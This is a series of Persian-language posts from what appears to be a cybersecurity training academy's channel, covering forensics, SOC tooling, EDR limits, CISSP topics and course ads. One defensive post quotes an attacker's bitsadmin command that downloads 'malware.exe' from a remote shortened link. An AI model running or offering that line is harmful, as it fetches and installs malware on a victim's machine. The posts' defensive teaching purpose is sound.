آکادمی آموزش روزبه 📚

05 November 2025 13:35

⭐️مهندس روزبه نوروزی : مدیر MSSP هامون و هانتر

⭐️مهندس مهتاب کسایی : متخصص ارشد SOC در شرکت تپ سی

آکادمی آموزش روزبه 📚

04 November 2025 19:10

۱-متخصص ادمین اسپلانک

۲-متخصص مجازی سازی، استوریج و بک آپ

ارسال رزومه به hr@haumoun.com

آکادمی آموزش روزبه 📚

03 November 2025 08:31

تحلیل جامع نقش LLMها در قدرت اطلاعاتی جهانی

از منظر راهبردی، عصر جدید هوش مصنوعی به‌ویژه مدل‌های زبانی بزرگ (LLMها) مانند ChatGPT، Gemini یا Claude را می‌توان نقطه‌ای از گذار تاریخی دانست که در آن «دانش» و «اطلاعات زبانی» همان نقشی را ایفا می‌کنند که نفت در قرن بیستم داشت. این فناوری، در ذات خود نه‌تنها یک ابزار فنی بلکه زیرساختی سیاسی و اقتصادی است که قدرت را در اختیار دارندگان داده و ظرفیت محاسباتی متمرکز می‌کند. از این زاویه، نگرانی درباره‌ی استفاده‌ی LLMها برای حفظ سلطه و کنترل جهانی نه‌تنها بی‌پایه نیست بلکه از روندهای آشکار دو دهه گذشته تغذیه می‌کند.

در سطح فنی، LLMها از میلیون‌ها سند، مکاتبه، گفتار و تعامل انسانی برای آموزش استفاده می‌کنند و از همین طریق قابلیت درک، پیش‌بینی و حتی بازسازی الگوهای فکری افراد و جوامع را می‌یابند. برخلاف موتورهای جستجو که فقط داده‌های صریح جمع‌آوری می‌کنند، LLMها قادرند از میان زبان روزمره، «نقشه‌ی شناختی» کاربران را استنباط کنند؛ یعنی بفهمند انسان‌ها چه ارزشی را درک می‌کنند، چگونه تصمیم می‌گیرند، و چه چیزی برایشان اقناع‌کننده است. این قابلیت، به‌ویژه برای دولت‌ها یا بلوک‌های قدرتی که توان ذخیره، تحلیل و هم‌پوشانی چنین داده‌هایی را دارند، ابزاری بالقوه برای پروفایل‌سازی شناختی جهانی فراهم می‌کند.
در سطح ژئوپلیتیک، توسعه‌ی LLMها با تمرکز سرمایه و زیرساخت در چند کشور خاص همراه است. ایالات متحده، چین، و تا حدی اتحادیه‌ی اروپا، مالک تقریباً تمام ابررایانه‌ها و GPU فارم‌های لازم برای آموزش مدل‌های در مقیاس تریلیون پارامتر هستند. این تمرکز، عملاً به معنای حاکمیت دیجیتالی چندقطبی اما نامتوازن است؛ وضعیتی که در آن کشورهای فاقد زیرساخت نه‌تنها مصرف‌کننده‌ی داده و مدل می‌شوند بلکه روایت‌های ذهنی و زبانی خود را نیز از فیلتر مدل‌های بیگ‌تک دریافت می‌کنند. نتیجه، شکل‌گیری «نظم نوین اطلاعاتی» است؛ نظمی که در آن، کنترل گفتمان عمومی و درک جمعی بیش از هر زمان تابع الگوریتم‌هایی می‌شود که ساختار آنها شفاف نیست.

از منظر اخلاق و حاکمیت فناوری، مسئله به «نیت» سازندگان برنمی‌گردد بلکه به عدم توازن شفافیت و پاسخ‌گویی مرتبط است. حتی اگر هدف اولیه‌ی تولید LLMها پیشبرد دانش و اقتصاد بوده، نتیجه‌ی ناخواسته می‌تواند ایجاد ابزارهایی برای مهندسی شناخت و کنترل نرم باشد: از سانسور الگوریتمی گرفته تا هم‌سویی محتوایی (alignment) که می‌تواند ذهن جمعی را شکل دهد یا پنهان کند. این همان مرحله‌ای است که مرز میان تحقیق علمی، منافع اقتصادی و امنیت ملی کاملاً درهم‌می‌آمیزد.
در مقابل، برخی استدلال می‌کنند که نگرانی از کنترل مطلق اغراق‌آمیز است، زیرا جوامع کاربری، قوانین حفظ حریم خصوصی، و جنبش‌های منبع باز (مانند LLaMA، Mistral یا Falcon) می‌توانند توازن ایجاد کنند. اما باید پذیرفت که این پروژه‌های باز نیز غالباً بر زیرساخت مالکیتی متکی‌اند و در سطح مدل، هنوز توان مقابله با هیولاهای اطلاعاتی چندملیتی را ندارند.

در جمع‌بندی، می‌توان گفت LLMها ذاتاً برای جاسوسی یا سلطه ساخته نشده‌اند، اما در ساختار فعلی قدرت، به‌عنوان ابزار بالقوه‌ی تسلط گفتمانی و شناختی جهان عمل می‌کنند. قدرت واقعی امروز نه در تملک اطلاعات، بلکه در مهندسی برداشت ذهنی از آن است و LLMها دقیقاً در همین نقطه ایستاده‌اند: مرز میان فهم و کنترل🛡

آکادمی آموزش روزبه 📚

01 November 2025 16:49

ردپا ها در فارنزیک

این قسمت: شل بگ

شل‌بگ (Shellbag) ساختاری در سیستم‌عامل ویندوز است که برای ذخیره تنظیمات نمایش پوشه‌ها در Windows Explorer به کار می‌رود. هر زمان کاربر یک پوشه را باز می‌کند یا نمای آن را تغییر می‌دهد (مثل حالت آیکون، اندازه پنجره یا موقعیت آن)، این تنظیمات در رجیستری ویندوز به‌صورت کلیدهای Shellbag ذخیره می‌شود تا در بازدید بعدی همان پوشه، تنظیمات قبلی حفظ گردد.

اطلاعات شل‌بگ در فایل‌های رجیستری کاربران نگهداری می‌شود، از جمله:

‎HKCU\Software\Microsoft\Windows\Shell\Bags‎
‎HKCU\Software\Microsoft\Windows\Shell\BagMRU‎

همچنین این داده‌ها به‌صورت فیزیکی در فایل‌های NTUSER.DAT و USRCLASS.DAT مربوط به هر حساب کاربری ذخیره می‌شوند.

از دید دیجیتال فارنزیک (Digital Forensics)، شل‌بگ‌ها ارزش شواهدی بالایی دارند زیرا می‌توانند سوابق پوشه‌هایی را که کاربر باز کرده- اگر پوشه بعداً حذف شده باشد-نمایش دهند. آن‌ها شامل مسیر کامل فولدر، شناسه دستگاه (Device ID)، و زمان آخرین دسترسی هستند. این ویژگی‌ها کمک می‌کند تا فعالیت‌های کاربر، استفاده از درایوهای خارجی (مثل USB)، یا مرور پوشه‌های شبکه‌ای بازسازی شود.

ابزارهایی مانند ShellBagsView، RegRipper Shellbags plugin و ShellBags Explorer برای مشاهده و تحلیل این داده‌ها استفاده می‌شوند. در تحلیل‌های قضایی، شل‌بگ‌ها معمولاً به‌منظور تعیین مسیرهایی که کاربر مشاهده کرده یا حذف‌شان کرده به کار می‌روند. به همین دلیل، دستکاری یا حذف آن‌ها (یک اقدام ضدفارنزیکی) می‌تواند نشانه‌ای از تلاش برای پنهان‌سازی فعالیت‌ها باشد.

www.haumoun.com
www.roozbeh.academy

مثال عملی در فارنزیک:

فرض کنید مظنونی ادعا کند USB را وصل نکرده؛ شل‌بگ می‌تواند Device ID و مسیر F:\MalwareFolder را نشان دهد، حتی اگر درایو جدا شده باشد.
در پرونده‌های قضایی (مثل child exploitation یا data theft)، شل‌بگ‌ها برای اثبات “knowledge” کاربر (یعنی کاربر پوشه را دیده) استفاده می‌شوند.

آکادمی آموزش روزبه 📚

30 October 2025 11:38

جلسه امروز CISSP
۸ آبان ۱۴۰۴

آکادمی آموزش روزبه 📚

29 October 2025 04:14

نسخه جدید جدول مایتره

https://attack.mitre.org/resources/updates/updates-october-2025/

آکادمی آموزش روزبه 📚

23 October 2025 23:04

بیاموزید
نشر دهید

چیزی از شما کم نمیشود
بلکه
افزون میشود

امتحان کنید

آکادمی آموزش روزبه 📚

21 October 2025 20:27

#امنیت_به_زبان_ساده

هرم درد : تمرکز بر راس هرم

تاکتیک‌ها، تکنیک‌ها و رویه‌ها (TTPs) سخت و موثر

کشف TTPs بالاترین و مؤثرترین و سخت ترین سطح دفاع است. در این سطح، ما دیگر به دنبال یک فایل یا ابزار خاص نیستیم، بلکه به دنبال الگوی رفتاری مهاجم هستیم
تاکتیک (Tactic): هدف کلی مهاجم چیست؟ (مثلاً: دسترسی اولیه، ارتقای سطح دسترسی، حرکت جانبی در شبکه).
تکنیک (Technique): چگونه آن هدف را دنبال می‌کند؟ (مثلاً: برای دسترسی اولیه از فیشینگ استفاده می‌کند).
رویه (Procedure): جزئیات دقیق پیاده‌سازی آن تکنیک چگونه است؟ (مثلاً: ایمیل فیشینگ با یک فایل PDF آلوده که از یک آسیب‌پذیری خاص در Adobe Reader استفاده می‌کند).
برای مدافع: شناسایی TTPها نیازمند دید جامع به کل زنجیره حمله، تحلیلگران خبره و ابزارهای پیشرفته مانند SIEM و SOAR است. ما به دنبال “داستان” حمله هستیم، نه فقط یک نشانه . هم سخت است هم موثر . کشف کردن این عنصر نیاز به یک عملیات پیچیده دارد اما وقتی کشف شد هکر را خلع سلاح میکند
درد برای مهاجم: فلج‌کننده! وقتی ما بتوانیم TTPهای یک مهاجم را شناسایی کنیم ، در واقع کل استراتژی و کتابچه راهنمای (Playbook) او را بی‌اثر کرده‌ایم.

مهاجم دیگر نمی‌تواند با تغییر ابزار یا IP به کار خود ادامه دهد. او باید روش فکر کردن و عمل کردن خود را از پایه تغییر دهد که این کار بسیار پرهزینه، زمان‌بر و گاهی غیرممکن است.
مثال: ما متوجه می‌شویم که مهاجم همیشه ابتدا از طریق فیشینگ وارد می‌شود، سپس با استفاده از PowerShell یک اسکریپت بدون فایل (Fileless) را برای حرکت جانبی اجرا می‌کند و در نهایت داده‌ها را فشرده کرده و از طریق DNS Tunneling به بیرون ارسال می‌کند. ما با تمرکز بر شناسایی و مسدود کردن هر یک از این رفتارها (نه فقط ابزارها)، کل عملیات او را، صرف نظر از ابزاری که استفاده می‌کند، مختل می‌کنیم.


#آکادمی_روزبه www.haumoun.com
ثبت نام دوره سطح ۱ و ۲ واتس اپ 09902857290

آکادمی آموزش روزبه 📚

20 October 2025 21:36

وصله شده این dMSA، درست؛ ولی BadSuccessor از attribute دیگری در همان ساختار trust chain سوءاستفاده می‌کند.
توجه داشته باشید

دوره های سطح ۱ و ۲
پوشش دهنده گپ های دانشی شما

https://specterops.io/blog/2025/10/20/the-near-return-of-the-king-account-takeover-using-the-badsuccessor-technique/

آکادمی آموزش روزبه 📚

19 October 2025 10:44

قابل توجه مسوولان

روند افزایشی را در برون سپاری خدمات IT و امنیت را شاهد هستم.

در کنار منافع ( که برخی مواقع جبر بوده ) بایستی ریسک ها را هم در نظر گرفت.

🔴لازم است مسوولان کشوری نسبت به تهیه و ابلاغ تطابق سنجی با گزارشاتی چون SOC1, 2,3 اقدام کنند تا برون سپاری ها تحت کنترل باشد وگرنه در آینده نزدیک شاهد شکست های حفاظتی شدید از سوی پیمانکاران خواهیم بود

هلدینگ ها و شرکت های مادر هم میتوانند با ابلاغ گزارشات تطابق سنجی SOC به زیر مجموعه های خود نقشی مهم در کنترل امنیت ایفا کنند

۲۷ مهرماه ۱۴۰۴ ثبت شد.
روزبه نوروزی


**گزارشات SOC از بحث مرکز عملیات امنیت جداست و مقوله ای نظارتی است.

آکادمی آموزش روزبه 📚

18 October 2025 16:21

وقتی EDR خوب داشته باشی قبل از عمل؛ دستور مهاجم Kill میشه تا SOC ات سرش خلوت باشه و بتونه به کشف Zero day امیدوار باشه

این کامندیه که کیل شده

bitsadmin /transfer MyDownloadJob /download /priority NORMAL "https://lnkd.in/dAg93i59" "C:\Users\Public\Downloads\malware.exe

آکادمی آموزش روزبه 📚

16 October 2025 21:43

باز شدن رمز پس از ۳۵ سال

در سال ۱۹۹۰، مجسمه‌ “Kryptos” توسط هنرمند آمریکایی جیم سانبورن (Jim Sanborn) در محوطهٔ مرکزی سازمان سیا (CIA) نصب شد. این اثر ترکیبی از هنر و علم رمزنگاری است و از چهار بخش رمزگذاری‌شده تشکیل می‌شود که روی یک صفحهٔ مسی بزرگ حک شده‌اند. هدف سانبورن آن بود که نشان دهد زیبایی در تلاقی بین رمزها، دانش، و راز نهفته است.

سه بخش اول طی سال‌های دههٔ ۱۹۹۰ تا اوایل ۲۰۱۰ توسط رمزنگاران حرفه‌ای و علاقه‌مندان در سراسر جهان رمزگشایی شد. این پیام‌ها شامل تاریخچهٔ کشف مقابر مصر و ارجاعاتی به رمزنگاری کلاسیک بودند. در مقابل، بخش چهارم (K4) هرگز حل نشد و به یکی از بزرگ‌ترین معماهای رمزنگاری معاصر جهان تبدیل شد — حتی متخصصان سیا و آژانس امنیت ملی (NSA) نیز نتوانستند متن کامل آن را بازیابی کنند.

در طول سال‌ها سانبورن چند “سرنخ” عمومی منتشر کرد، از جمله دو واژهٔ از متن رمزگشایی‌شده – “BERLIN” و “CLOCK” – که نشان می‌داد محل یا مضمون پیام احتمالاً با برلین و زمان ارتباط دارد. با وجود این، معما همچنان سربسته باقی ماند و جامعهٔ رمزنگاری آن را نمادی از مرز میان دانش انسانی و ناشناخته تلقی کرد.

در اکتبر ۲۰۲۵، سانبورن در مصاحبه‌ای با نیویورک تایمز اعلام کرد که اکنون قصد دارد راه‌حل نهایی بخش چهارم Kryptos را افشا کند. او گفته است با توجه به سن بالا و گذر زمان، نمی‌خواهد این راز بدون توضیح از بین برود، بنابراین راه‌حل و مستندات اصلی طراحی آن را از طریق حراجی کریستی (Christie’s) به فروش می‌گذارد. این مجموعه شامل متن رمز اصلی، ترجمهٔ آشکار (Plaintext)، یادداشت‌های طراحی و نسخه‌های اولیهٔ الگوریتم رمز است. درآمد حاصل احتمالاً به پروژه‌های هنری و آموزشی اهدا می‌شود.

افشای رمز Kryptos پس از ۳۵ سال پایانی نمادین بر یکی از طولانی‌ترین چالش‌های رمزنگاری دوران مدرن خواهد بود؛ اثری که مرز میان هنر، اطلاعات و اسرار دولتی را برای همیشه در تاریخ ثبت کرد

https://www.nytimes.com/2025/10/16/science/kryptos-cia-solution-sanborn-auction.html?unlocked_article_code=1.t08.Fb2g.wov0l-NgQKoE&smid=url-share

آکادمی آموزش روزبه 📚

15 October 2025 19:34

#تجربه جدید
استفاده از فید های GrayNoise با اسپلانک

بعنوان یک فعالیت جدید تمرکزم رو روی شناخت GrayNoise بعنوان منبع هوش تهدید گذاشته ام . براتون از تجربه ام مینویسم



منبع GreyNoise Intelligence یک پلتفرم تحلیل «نویز اینترنتی» (Internet Background Noise) است که با استقرار هزاران حسگر غیرفعال در سراسر جهان، داده‌های مربوط به رفتار اسکن و شناسایی سرویس‌ها را جمع‌آوری و طبقه‌بندی می‌کند. ویژگی منحصربه‌فرد آن، تمرکز بر تحلیل رفتاری IPها به‌جای صرفاً ارائه‌ی Reputation یا امضای تهدید است. GreyNoise می‌تواند تشخیص دهد آیا یک IP در حال انجام فعالیت عادی (مانند اسکن خودکار موتورهای جست‌وجوی امنیتی) است یا درگیر رفتار مشکوک و هماهنگ برای شناسایی آسیب‌پذیری‌ها.

و اما بررسی من :
در اسپلانک استفاده از GreyNoise ارزش بالایی در کاهش هشدارهای کاذب و اولویت‌بندی رویدادها دارد. یکی از راهکارهای عملی، ایجاد یک Lookup Job روزانه برای Noise IP Filtering هست ؛ به این معنا که Splunk به‌صورت خودکار لیست IPهای شناسایی‌شده به‌عنوان “benign scanner” در GreyNoise را فراخوانی کرده و در فرایند تحلیل آلارم‌ها، آن‌ها را از فهرست هشدارهای واقعی حذف می‌کند. این اقدام باعث کاهش میانگین زمان تجزیه‌وتحلیل (MTTA) و تمرکز تحلیل‌گران بر تهدیدهای واقعی می‌شود.

همچنین در چارچوب Splunk SOAR ، افزودن مرحله‌ی “Check with GreyNoise” در Playbookهای خودکار بسیار مؤثر است. با این گام، قبل از ارجاع حادثه به لایه ۲، سامانه به‌صورت خودکار اعتبار IP مظنون را از GreyNoise استعلام می‌گیرد؛ چنانچه IP در دسته‌ی نویز شناخته‌شده باشد، Incident به‌صورت خودکار کاهش یا بسته می‌شود و اگر رفتار آن جدید یا ناشناخته باشد، هشدار به سطح بالاتر منتقل می‌گردد. این مدل باعث ارتقای بازده کل SOC، کاهش حجم کار لایه ۲ و افزایش دقت تصمیم‌های پاسخ‌گویی می‌شود


#نشر_دانش
#انتقال_تجربه
مرکز راهبری SOC شرکت هامون
با مجوز افتا
Www.haumoun.com
ثبت نام دوره های سطح ۱ و ۲
واتس اپ 09902857290
با امکان اشتغال

آکادمی آموزش روزبه 📚

15 October 2025 08:31

بازآفرینی حکمرانی امنیت اطلاعات در ایران: نقش کلیدی متخصص ISSMP

زیرساخت امنیت اطلاعات در ایران از سه چالش ساختاری بنیادین رنج می‌برد: فقدان آموزش‌های استراتژیک برای مدیران فناوری اطلاعات، عدم تخصیص بودجه بر مبنای تحلیل ریسک، و انتصاب مدیران فاقد صلاحیت حرفه‌ای در مناصب حساس امنیتی. این ضعف‌ها منجر به رویکردی واکنشی و ابزارمحور شده است که در آن، امنیت به‌عنوان یک هزینه سربار تلقی می‌شود، نه یک سرمایه‌گذاری استراتژیک. دوره تخصصی ISSMP (Information Systems Security Management Professional) به‌طور مستقیم برای رفع این شکاف‌ها طراحی شده و می‌تواند گذار از امنیت فنی صرف به «حکمرانی امنیت» را در سازمان‌های ایرانی ممکن سازد.

محور اصلی آموزش ISSMP، توانمندسازی مدیران برای رهبری امنیت در سطح کلان سازمانی است. در بُعد رهبری امنیت (Security Leadership)، این متخصص می‌آموزد که چگونه مفاهیم پیچیده امنیتی را به زبان کسب‌وکار و در قالب تحلیل‌های هزینه-فایده برای مدیران ارشد ترجمه کند. به‌جای درخواست‌های فنی مانند «خرید فایروال جدید»، او قادر خواهد بود ضرورت سرمایه‌گذاری امنیتی را با نمایش تأثیر مستقیم آن بر کاهش ریسک‌های مالی و اعتباری توجیه نماید؛ مهارتی که حلقه مفقوده در بسیاری از سازمان‌های ماست.

در حوزه مدیریت برنامه (Program Management)، متخصص ISSMP با بهره‌گیری از چارچوب‌های استاندارد جهانی نظیر NIST CSF و ISO 27001، یک «برنامه جامع امنیتی» طراحی می‌کند که تمامی فعالیت‌های فنی و پروژه‌های پراکنده را زیر یک چتر واحد و استراتژیک هماهنگ می‌سازد. این رویکرد یکپارچه از هدررفت منابع و تصمیم‌گیری‌های جزیره‌ای جلوگیری می‌کند. همچنین، در بُعد مدیریت ریسک (Risk Management)، او امنیت را از یک مرکز هزینه به یک ابزار استراتژیک برای محافظت از دارایی‌های سازمان تبدیل می‌کند و سرمایه‌گذاری‌ها را مستقیماً به تهدیدات واقعی پیوند می‌زند.

در نهایت، با تأکید بر اخلاق حرفه‌ای و انطباق (Ethics & Compliance)، متخصص ISSMP فرهنگی مبتنی بر شفافیت، پاسخگویی و مسئولیت‌پذیری را در سازمان نهادینه می‌کند. این فرهنگ، پادزهری قدرتمند در برابر نفوذهای غیرحرفه‌ای و تصمیمات سفارشی است. به‌طور خلاصه، تربیت چنین متخصصانی دیگر یک انتخاب نیست، بلکه یک ضرورت برای بلوغ و پایداری امنیت در اکوسیستم دیجیتال ایران محسوب می‌شود.

تماس برای دوره های سازمانی 09902857290
Www.haumoun.com

آکادمی آموزش روزبه 📚

14 October 2025 20:50

تجربه عملیاتی با تغییرات عمدی

در زیر یک نوشته در خصوص لزوم استفاده از زیک بجای اسپلانک در شبکه های کنترل صنعتی نظیر گاز و پتروشیمی و برق رو با تغییراتی که اونو قابل ارائه کنه مینگارم

خلاصه مقایسه Zeek و Splunk Stream در شبکه‌های صنعتی (ICS)

تفاوت بنیادین بین Zeek و Splunk Stream در یک سناریوی تخصصی مانند شبکه‌های کنترل صنعتی (ICS) به وضوح آشکار می‌شود. فرض کنید هدف، شناسایی یک فرمان خطرناک و غیرمجاز (مانند توقف PLC) است که از طریق پروتکل صنعتی S7comm به یک کنترل‌گر زیمنس ارسال می‌شود.

ابزار Zeek، به لطف معماری متن‌باز و انعطاف‌پذیر خود، در این سناریو عملکردی خوب دارد. حتی اگر پروتکل S7comm به صورت پیش‌فرض پشتیبانی نشود، تیم امنیتی می‌تواند با نصب یک پکیج تحلیل‌گر از جامعه کاربری یا نوشتن یک اسکریپت سفارشی، به Zeek «یاد بدهد» که ساختار این پروتکل را بفهمد. با این توانایی، Zeek می‌تواند ترافیک را به رویدادهای معنادار مانند plc_stop_request یا program_download_request ترجمه کند. سپس، با یک اسکریپت ساده، می‌توان یک منطق امنیتی تعریف کرد: «اگر فرمان plc_stop_request از هر منبعی غیر از ایستگاه مهندسی مجاز ارسال شد، یک هشدار با اولویت بالا تولید کن». نتیجه، یک هشدار دقیق، غنی از زمینه و کاملاً قابل اقدام است که مستقیماً به ماهیت تهدید اشاره دارد.

در مقابل، Splunk Stream که یک محصول تجاری با رویکرد «پیکربندی-محور» است، در این سناریو با چالش جدی مواجه می‌شود. از آنجایی که پروتکل‌های خاص صنعتی مانند S7comm معمولاً در لیست پروتکل‌های پیش‌فرض آن قرار ندارند، Stream قادر به درک محتوای بسته‌ها نیست. این ابزار ترافیک را صرفاً به عنوان یک جریان TCP عمومی شناسایی کرده و فراداده‌های پایه‌ای مانند IP مبدأ و مقصد و حجم داده را ثبت می‌کند. لاگ حاصل فاقد زمینه لازم برای تصمیم‌گیری است و نمی‌تواند بین یک فرمان خطرناک و یک ارتباط عادی تمایز قائل شود. کاربران نهایی نمی‌توانند قابلیت تحلیل پروتکل جدید را به Stream اضافه کنند و کاملاً به نقشه راه توسعه محصول توسط شرکت Splunk وابسته هستند.

به طور خلاصه، Zeek به عنوان یک پلتفرم قدرتمند و قابل سفارشی‌سازی، ابزار ایده‌آل برای محیط‌های پیچیده و تخصصی است، در حالی که Splunk Stream به عنوان یک محصول کاربرپسند، در تحلیل پروتکل‌های استاندارد IT بهترین عملکرد را دارد و در مواجهه با نیازهای سفارشی، انعطاف‌پذیری محدودی از خود نشان می‌دهد.

#انتقال_تجربه

آکادمی آموزش روزبه 📚

05 November 2025 07:02

با توجه به نتایج نظر سنجی و درخواست ۵۰ درصد از شما
تقدیم به ایران

واتس اپ 09902857290

آکادمی آموزش روزبه 📚

03 November 2025 20:48

چرا نمیتوان به تلمتری های EDR اعتماد کرد .
درباب نقد سایت زیر که بحث این روزها است از زاویه ای دیگر

https://www.edr-telemetry.com

سامانه‌های تشخیص و پاسخ در نقاط پایانی (EDR) با وعده‌ی "دید کامل" از طریق جمع‌آوری حجم وسیعی از داده‌های تله‌متری، به سنگ بنای امنیت مدرن تبدیل شدند. با این حال، اتکای مطلق به این داده‌ها یک فرض خطرناک است، زیرا مهاجمان پیشرفته اکنون قادر به کور کردن، دستکاری و فریب عامل EDR هستند.

مشکل اصلی در این است که عامل EDR خود بر روی سیستمی اجرا می‌شود که ممکن است در معرض خطر قرار گیرد. مهاجمان با استفاده از تکنیک‌های پیچیده، این منبع داده را غیرقابل اعتماد می‌کنند:

1.  حملات سطح کرنل (Kernel-Level Attacks): با دسترسی به هسته سیستم‌عامل (Ring 0)، مهاجمان می‌توانند قلاب‌ها (Hooks) و مکانیزم‌های نظارتی EDR را مستقیماً حذف یا غیرفعال کنند. تکنیک BYOVD (Bring Your Own Vulnerable Driver) نمونه بارز این روش است که در آن از یک درایور امضاشده و آسیب‌پذیر برای خاموش کردن دفاع امنیتی استفاده می‌شود.

2.  دور زدن در فضای کاربری (User-Space Evasion): روش‌هایی مانند فراخوانی مستقیم سیستمی (Direct System Calls) به بدافزار اجازه می‌دهند تا لایه‌های نظارتی EDR را کاملاً دور زده و فعالیت‌های خود را بدون تولید هیچ‌گونه تله‌متری انجام دهد.

پیامد این حملات، ایجاد یک حس امنیت کاذب و مرگبار است. تیم‌های امنیتی ممکن است با تحقیقات ناقص مواجه شوند و حملات فعال را نادیده بگیرند، زیرا ابزار اصلی دیده‌بانی آن‌ها کور شده است.

راهبرد صحیح، پذیرش اصل "عدم اعتماد به یک منبع داده" است. تیم‌های امنیتی باید تله‌متری EDR را به طور مداوم با منابع داده مستقل دیگر مانند لاگ‌های شبکه (NDR)، فایروال‌ها و لاگ‌های بومی سیستم‌عامل همبسته‌سازی و راستی‌آزمایی کنند. همچنین، شکار تهدید فعال و تحلیل حافظه زنده (Memory Forensics) به ابزارهای ضروری برای کشف فعالیت‌هایی تبدیل شده‌اند که از دید EDR پنهان مانده‌اند.

آکادمی آموزش روزبه 📚

03 November 2025 07:26

در دنیای فارنزیک دیجیتال، گرفتن و تحلیل memory dump (یا همان تصویر حافظه RAM) از ویندوز کار نسبتاً جاافتاده‌ای است.

اما وقتی نوبت به سیستم‌های Linux می‌رسه، ابزارها، قالب داده‌ها، و ساختارهای کرنل آن‌قدر متنوع و غیر‌استاندارد هستند که پارس کردن (parse) درست حافظه‌ی لینوکس تقریباً همیشه مشکل‌زاست.

مقاله توضیح می‌ده که:

مشکلات، از ناهمگونی بین نسخه‌های کرنل و buildهای سفارشی شروع می‌شن؛
بعد به مسئله‌ی symbol درست نداشتن (kernel symbols) می‌رسه؛
و نهایتاً خطاهای ابزارهایی مثل Volatility یا Rekall در تفسیر ساختارهای task_struct، mm_struct، dentry و غیره رو بررسی می‌کنه.

آخرین برنامه های آکادمی روزبه را از واتس اپ زیر دریافت کنید 09902857290
Www.haumoun.com


https://memoryforensic.com/the-problem-with-parsing-linux-based-memory-dumps/

آکادمی آموزش روزبه 📚

31 October 2025 05:51

بحثی حقوقی از درس CISSP

📘 مسئولیت مستقیم شرکت‌ها (Direct Liability)

مسئولیت مستقیم یعنی حالتی که شرکت یا سازمان به خاطر اجازه دادن، چشم‌پوشی، یا نادیده گرفتن رفتار نادرست یکی از کارکنانش، خودش به‌طور مستقیم در برابر قانون پاسخ‌گو می‌شود.

به بیان ساده‌تر، اگر شرکت به شکل آگاهانه، یا از روی سهل‌انگاری، باعث شود کارمندی عمل خلافی انجام دهد، قانون آن را رفتار خود شرکت تلقی می‌کند.

این موضوع به‌ویژه درباره مدیران و افرادی صادق است که از طرف سازمان اختیار قانونی دارند و به نام آن عمل می‌کنند. چون مدیران می‌توانند بخشی از مسئولیت‌هایشان را به کارمندان تفویض کنند، هرگاه فردی در چارچوب همان اختیار تفویض‌شده کاری انجام دهد، ممکن است مسئولیت مستقیماً متوجه شرکت شود.

بنابراین اگر بتوان ثابت کرد که رفتار، تصمیم یا کوتاهی شرکت موجب انجام عمل مجرمانه شده است، قانون سازمان را مسئول مستقیم جرم می‌داند، نه فقط کارمند متخلف را.

⚖️ رابطه با مفهوم Mens Rea (نیت یا آگاهی مجرمانه)

در جرائم کیفری، اصل بر این است که دادگاه باید ثابت کند فرد از پیامدهای مجرمانه‌ی کار خود آگاه بوده و قصد ارتکاب جرم را داشته است ؛ یعنی وجود Mens Rea.

در مورد یک شرکت، این آگاهی معمولاً در تصمیم‌ها یا خط‌مشی‌های مدیریتی جستجو می‌شود.

با این حال، نوعی از جرائم وجود دارند که در آن‌ها نیازی به اثبات نیت یا قصد مجرمانه نیست و همین وقوع عمل ممنوعه برای مسئولیت‌پذیری کافی است.

به این جرائم می‌گویند: جرائم با مسئولیت مطلق (Strict Liability Offenses).

در چنین حالتی، اگر کارمند در حین انجام وظایف خود مرتکب تخلفی شود -مثلاً نقض مقررات زیست‌محیطی یا امنیت داده - شرکت بدون نیاز به اثبات قصد، پاسخ‌گو خواهد بود.
🧩 اصل انتساب رفتار کارمند به شرکت

وقتی قانون، مسئولیت را به شرکت‌ها تسری دهد، رفتار یا حتی قصد ذهنی یک کارمند می‌تواند به شرکت نسبت داده شود.

اما این انتساب فقط زمانی معتبر است که:

رفتار انجام‌شده در چارچوب وظایف شغلی و اختیارات قانونی فرد باشد.

به این معیار، در حقوق کیفری و مدیریتی، اصطلاحاً “Course and Capacity of Employment Benchmark” می‌گویند.

اگر کارمند دست به کاری بزند که خارج از محدوده‌ی اختیاراتش است (مثلاً دسترسی غیرمجاز یا کلاهبرداری رایانه‌ای برای منافع شخصی)، مسئولیت او بر عهده‌ی خودش است ؛ هرچند که سازمان کاملاً از تبعات حقوقی آن در امان نخواهد بود، چون ممکن است نبود کنترل‌های نظارتی یا سهل‌انگاری مدیریتی خود شرکت زیر سؤال برود.

جمع بندی

مقوله Direct Liability یعنی سازمان بدون واسطه در وقوع جرم نقش داشته (با اقدام یا کوتاهی).
و Mens Rea در شرکت از طریق تصمیم‌ها، سیاست‌ها و بی‌احتیاطی مدیران نمایان می‌شود.
وStrict Liability یعنی کافی است عمل ممنوعه رخ دهد تا شرکت مسئول باشد، حتی بدون اثبات نیت.
وCourse and Capacity Benchmark حدی است که تشخیص می‌دهد عمل کارمند، کاری سازمانی بوده یا شخصی.
وجود کنترل‌ها، آموزش‌ها و خط‌مشی‌های روشن می‌تواند از انتساب Mens Rea به سازمان جلوگیری کند و این دقیقاً مصداق Due Diligence / Due Care است.

#آکادمی_روزبه

آکادمی آموزش روزبه 📚

29 October 2025 13:53

از ارائه های همایش فارغ‌التحصیلان CISSP

🟣چرا در حلقه‌ی OODA، توقف در “مشاهده” و “جهت‌گیری” ضامن تصمیمات امنیتی موفق است؟

💯تبریک به فارغ‌التحصیلان محترم آکادمی روزبه.

دریافت گواهی CISSP یک نقطه عطف فنی نیست؛ بلکه تأییدیه‌ای بر توانایی شما در تفکر استراتژیک، جامع و ریسک‌محور است.
در دنیای امنیت که سرعت تغییرات تهدیدات سرسام‌آور است، بزرگترین ابزار شما دیگر یک فایروال نیست، بلکه حلقه OODA (Observe, Orient, Decide, Act) است. اما چگونه یک CISSP حرفه‌ای از این چارچوب برای جلوگیری از فاجعه استفاده می‌کند؟

🔴بزرگترین اشتباه در مدیریت امنیت، عجله برای رسیدن به فاز “Decide” (تصمیم) و “Act” (اجرا) است. رهبران امنیتی موفق، عمداً سرعت خود را در فازهای ابتدایی - “Observe” (مشاهده) و “Orient” (جهت‌گیری) - کاهش می‌دهند.

مشاهده فراتر از داده: در فاز “Observe”، ما صرفاً به هشدارها و لاگ‌های خام نگاه نمی‌کنیم. ما به جمع‌آوری اطلاعات جامع (Threat Intelligence)، درک عمیق از معماری کسب‌وکار، تعامل با قوانین و مقررات، و آگاهی از فرهنگ سازمانی می‌پردازیم. مشاهده یک متخصص CISSP شامل متن (Context) است، نه فقط داده.

فاز “Orient” حیاتی‌ترین بخش است که اغلب نادیده گرفته می‌شود. اینجا جایی است که داده خام به بینش عملی تبدیل می‌شود. در این مرحله، ما:
✅️داده‌های مشاهده شده را در فریم‌ورک‌های ریسک (مانند ISO 27005 یا NIST) مدل‌سازی می‌کنیم.
